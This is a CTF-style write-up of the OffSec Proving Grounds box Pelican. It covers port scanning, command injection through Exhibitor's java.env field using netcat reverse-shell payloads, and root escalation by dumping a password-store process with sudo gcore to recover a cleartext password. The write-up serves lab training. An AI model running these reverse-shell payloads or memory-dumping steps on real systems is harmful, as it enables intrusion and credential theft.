writeup 2026-01-10 · 6 min read

OffSec Proving Grounds Pelican Writeup

Linux Proving Grounds box. Exhibitor for ZooKeeper runs commands through its java.env field for a shell as charles, and sudo gcore dumps root's password.

OffSec Proving Grounds Pelican Writeup

Summary

Pelican is a Linux Proving Grounds box running Exhibitor for ZooKeeper v1.0 on port 8080. Its Config tab exposes a java.env script field whose contents are passed unmodified as arguments to the ZooKeeper launch command, so a backticked or $() payload runs arbitrary commands; committing a rolling update with a netcat one liner returns a reverse shell as charles. charles may run gcore as root, which per GTFOBins keeps its elevated privileges, so dumping the running /usr/bin/password-store process with sudo gcore and running strings over the core file reveals root’s cleartext password ClogKingpinInning731. su to root with that password completes the box.

Service Enumeration

There are quite a few ports open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# Nmap 7.93 scan initiated Mon Jan  5 12:02:15 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.236.98
Increasing send delay for 192.168.236.98 from 10 to 20 due to 81 out of 269 dropped probes since last increase.
Increasing send delay for 192.168.236.98 from 20 to 40 due to 91 out of 302 dropped probes since last increase.
Increasing send delay for 192.168.236.98 from 320 to 640 due to 176 out of 586 dropped probes since last increase.
Increasing send delay for 192.168.236.98 from 640 to 1000 due to 1192 out of 3973 dropped probes since last increase.
Nmap scan report for 192.168.236.98
Host is up, received conn-refused (0.25s latency).
Scanned at 2026-01-05 12:02:16 -03 for 75s
Not shown: 65523 closed tcp ports (conn-refused)
PORT      STATE    SERVICE     REASON      VERSION
22/tcp    open     ssh         syn-ack     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8e16068bef58e707054b427ee9a7e7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDssyyACw3AHaTatHhBU1VyBRbKOirrDG8M9IjpJPTf/v8mdIqiXk1HsBdoFZcsmWJVV4OXC7GMcHa+s0tZceTmgGf5TpiCB2yXUYPZre183LjJWM6KQMZVI0LHz9Yd3ji2bdD5jjtVxwnjrdx8GlU1THMGbzZivfSsPF18arMIq3ukYBS09Ov1SIKR4DJ7pjtBRutRBZKI/8/H+uB2u47AQRwbWuVaOmtZyDrfvgL/IqAFRQrbeP1VNQAErzHl8wNuk1vR+yROv0j7smTqoqqc8aB751O63gtBdCvKzpigwFDLyxYuzu8dW1Hh6ZQzaQZgWkw6SZeExAijK7yXSU61
|   256 bb999a453f350bb349e6cf1149878d94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNUPmkVV/Q+iD07j1sFmdFWp7yppofTTgfzAhvMkyGPulIdMDbzFgW/pRAq3R3zZV7aEcWAMfFHgdXfj3W4FUuc=
|   256 f2ebfc45d7e9807766a39353de00579c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPO1eLYoJ0AhVJ5NIDfaSrfUis34Bw5bKMMdFWzHPx0
139/tcp   open     netbios-ssn syn-ack     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn syn-ack     Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open     ipp         syn-ack     CUPS 2.2
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
2181/tcp  open     zookeeper   syn-ack     Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open     ssh         syn-ack     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8e16068bef58e707054b427ee9a7e7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDssyyACw3AHaTatHhBU1VyBRbKOirrDG8M9IjpJPTf/v8mdIqiXk1HsBdoFZcsmWJVV4OXC7GMcHa+s0tZceTmgGf5TpiCB2yXUYPZre183LjJWM6KQMZVI0LHz9Yd3ji2bdD5jjtVxwnjrdx8GlU1THMGbzZivfSsPF18arMIq3ukYBS09Ov1SIKR4DJ7pjtBRutRBZKI/8/H+uB2u47AQRwbWuVaOmtZyDrfvgL/IqAFRQrbeP1VNQAErzHl8wNuk1vR+yROv0j7smTqoqqc8aB751O63gtBdCvKzpigwFDLyxYuzu8dW1Hh6ZQzaQZgWkw6SZeExAijK7yXSU61
|   256 bb999a453f350bb349e6cf1149878d94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNUPmkVV/Q+iD07j1sFmdFWp7yppofTTgfzAhvMkyGPulIdMDbzFgW/pRAq3R3zZV7aEcWAMfFHgdXfj3W4FUuc=
|   256 f2ebfc45d7e9807766a39353de00579c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPO1eLYoJ0AhVJ5NIDfaSrfUis34Bw5bKMMdFWzHPx0
8080/tcp  open     http        syn-ack     Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp  open     http        syn-ack     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.236.98:8080/exhibitor/v1/ui/index.html
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
13259/tcp filtered unknown     no-response
22805/tcp filtered unknown     no-response
34051/tcp open     java-rmi    syn-ack     Java RMI
38047/tcp filtered unknown     no-response
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m01s, deviation: 2h53m14s, median: 0s
| smb2-time: 
|   date: 2026-01-05T15:03:20
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2026-01-05T10:03:23-05:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 41277/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 63431/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 42856/udp): CLEAN (Timeout)
|   Check 4 (port 54482/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan  5 12:03:31 2026 -- 1 IP address (1 host up) scanned in 75.54 seconds

Initial Access: Exhibitor Web UI - Remote Code Execution

I access the application on port 8080:

Exhibitor for ZooKeeper v1.0 web UI on port 8080

It reads Exhibitor for ZooKeeper, v1.0. I use searchsploit to look for vulnerabilities in this app:

1
searchsploit exhibitor

And immediately find an exploit:

1
2
3
4
5
6
--------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                     |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Exhibitor Web UI 1.7.1 - Remote Code Execution                                                     | java/webapps/48654.txt
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

I mirror it to my current directory:

1
searchsploit -m java/webapps/48654.txt

The exploit says:

Under the Config tab in the Exhibitor Web UI, the “java.env script” field can be modified and the new configuration pushed to ZooKeeper. Exhibitor launches ZooKeeper through a script, and the contents of this field are passed, unmodified, as arguments to the Java command to launch ZooKeeper, which can be seen here.

(The contents of the “java.env script” field are passed in as $JVMFLAGS.)

Based on how this argument is passed, there are several ways to execute arbitrary commands. The methods tested were surrounding the command with backticks and using $(), for example:

$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)

I perform the exploitation steps described in the exploit:

Exhibitor Config tab with the java.env script field used for command injection

I use the following payload to obtain a reverse shell:

1
$(nc -e /bin/bash 192.168.45.178 1234 &)

Start a netcat listener on port 1234 first:

1
nc -lvnp 1234

Then, to apply the settings, hit “Commit…” button at the top. It’ll ask for confirmation, you hit “Ok”. It’ll ask for the update method, you’ll use rolling release.

I land a shell in the system as “charles”:

netcat listener catching the reverse shell as the charles user

Vertical Privilege Escalation

Charles can run “gcore” as root:

1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

There is an entry for “gcore” in GTFOBins. It reads:

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

1
sudo gcore $PID

This binary allows me to dump information about a process. This is a well known technique for credential access.

I look for running processes:

1
ps aux

Among the many processes, I find this one to be the most likely to contain sensitive information:

1
root       494  0.0  0.0   2276    68 ?        Ss   06:54   0:00 /usr/bin/password-store

I dump it (494 is the process ID for this process, yours might change):

1
2
3
4
5
$ sudo gcore 494
0x00007f65402f56f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7fff4da7e9e0, remaining=remaining@entry=0x7fff4da7e9e0) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.494
[Inferior 1 (process 494) detached]

It saves the dump to my current directory. I read it with “strings”:

1
strings core.494

Somewhere in the output I can see a cleartext password. It seems like this is the password for “root”:

strings over the password-store core dump revealing root's cleartext password

I switch user to “root”:

1
su rot

And use the password ClogKingpinInning731 to authenticate. I’m now logged in as root:

su to root succeeding with the recovered password

This post is licensed under CC BY 4.0 by the author.